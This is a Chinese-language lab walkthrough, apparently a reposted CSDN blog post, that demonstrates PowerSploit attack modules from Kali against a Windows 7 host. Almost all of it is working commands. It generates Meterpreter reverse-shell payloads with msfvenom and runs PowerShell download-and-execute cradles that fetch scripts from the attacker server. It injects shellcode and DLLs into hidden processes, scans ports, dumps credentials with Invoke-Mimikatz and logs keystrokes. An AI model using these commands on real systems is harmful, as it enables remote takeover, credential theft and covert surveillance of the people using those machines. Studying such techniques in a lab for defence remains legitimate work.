PowerSploit脚本攻击实战

环境

kali(192.168.188.128)
win7(192.168.188.148)

前提

1.输入git命令安装PowerSploit
命令:git clone https://github.com/PowerShellMafia/PowerSploit
演示:
在这里插入图片描述

2.输入以下命令开启Apache服务
命令:service apache2 start
演示:
在这里插入图片描述

3.把下载好的文件夹移动到var/www/html目录,搭建一个简易的服务器
在这里插入图片描述
在这里插入图片描述

介绍PowerSploit各模块的功能

1.AntivirusBypass:发现杀毒软件的查杀特征
2.CodeExecution:在目标主机上执行代码
3.Exfiltration:目标主机上的信息搜集工具
4.Mayhem:蓝屏等破坏性脚本
5.Persistence:后门脚本(持久性控制)
6.Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本

开始实战

一.Invoke-Shellcode

CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法
1.直接执行ShellCode反弹Meterpreter Shell
1.在MSF中使用reverse_https模块进行反弹,设置内容如下
命令:1.use exploit/multi/handler
2.set payload windows/meterpreter/reverse_tcp
演示:
在这里插入图片描述
成功设置监听
2.使用msfvenom命令生成一个PowerShell脚本木马
命令:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.188.128 LPORT=4444 -f powershell -o /var/www/html/code
演示:
在这里插入图片描述
成功生成PowerShell脚本木马(注:这里一定要注意位数,不然反弹不成功)
3.在目标机PowerShell下输入以下命令下载该脚本(以管理员身份运行)
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1”)
演示:
在这里插入图片描述
4.接着输入以下命令下载木马
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/code”)
演示:
在这里插入图片描述

5.接着在PowerShell下运行木马,输入以下命令
命令:Invoke-Shellcode -Shellcode ($buf) -Force
演示:
在这里插入图片描述
6.返回msf进行run
在这里插入图片描述

成功反弹shell
2.指定进程注入ShellCode反弹Meterpreter Shell
1.在目标机PowerShell下输入以下命令下载PowerShell脚本
命令:IEX(New-Object Net.Client).DownloadString(“http://192.168.188.128/PowerSploit/CodeExEcution/Invoke-Shellcode.ps1”)
IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/code”)
在这里插入图片描述
2.输入Get-Process命令或ps命令查看当前进程
在这里插入图片描述

3.然后输入以下命令创建一个新的进程,这里启动一个记事本,并把它设置为隐藏的
命令:Start-Processc:\Windows\system32\notepad.exe -WindowStyle Hidden
在这里插入图片描述
可以看到生成一个ID为3816,名为notepad的进程
4.接着输入以下命令,使用Invoke-Shellcode 脚本进行进程注入
命令:Invoke-Shellcode -ProcessID 3816 -Shellcode($buf) -Force
在这里插入图片描述
5.返回msf发现成功
在这里插入图片描述
成功反弹shell

二.Invoke-DllInjection

下面使用Code Execution模块下的另一个脚本Invoke-DLLInjection,它是一个DLL注入的脚本
1.同理先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1”)
在这里插入图片描述

下载成功
2.使用下面命令在Kali中生成一个DLL注入脚本
命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.188.128 lport=4444 -f dll -o /var/www/html/test.dll
在这里插入图片描述
成功生成DLL注入脚本
3.把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以使注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程
注意:上传到目标服务器C盘,我直接网页下载
在这里插入图片描述
命令:Start-Processc:\Windows\system32\notepad.exe -WindowStyle Hidden
在这里插入图片描述
成功生成一个新进程4268
4.使用下面命令进行注入
命令:Invoke-DllInjection -ProcessID 4268 -Dll c:\test.dll
在这里插入图片描述
5.返回msf查看即可成功反弹shell

三.Invoke-Portscan

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/Recon/Invoke-Portscan.ps1”)
在这里插入图片描述
2.使用以下命令进行扫描
命令:Invoke-Portscan -Hosts 192.168.188.148,192.168.188.128 -Ports “80,22,3389”
在这里插入图片描述
扫描成功

四.Invoke-Mimikatz

Invoke-Mimikatz是Exfilration模块下的一个脚本,它的功能是抓取Hash
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/ExfiLtration/Invoke-Mimikatz.ps1”)
在这里插入图片描述
2.执行以下命令
命令:Invoke-Mimikatz -DumpCreds
在这里插入图片描述
成功抓取Hash

五.Get-Keystrokes

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行
1.仍然先下载脚本
命令:IEX(New-Object Net.WebClient).DownloadString(“http://192.168.188.128/PowerSploit/Exfiltration/Get-Keystrokes.ps1”)
在这里插入图片描述
2.使用以下命令开启键盘记录,这里输入”hello”来简单测试
命令:Get-Keystrokes -LogPath c:\test1.txt
在这里插入图片描述
成功记录,但是不知道为什么出现这么多重复的。
比较圆满的结束

猜你喜欢

转载自blog.csdn.net/bring_coco/article/details/113065455
今日推荐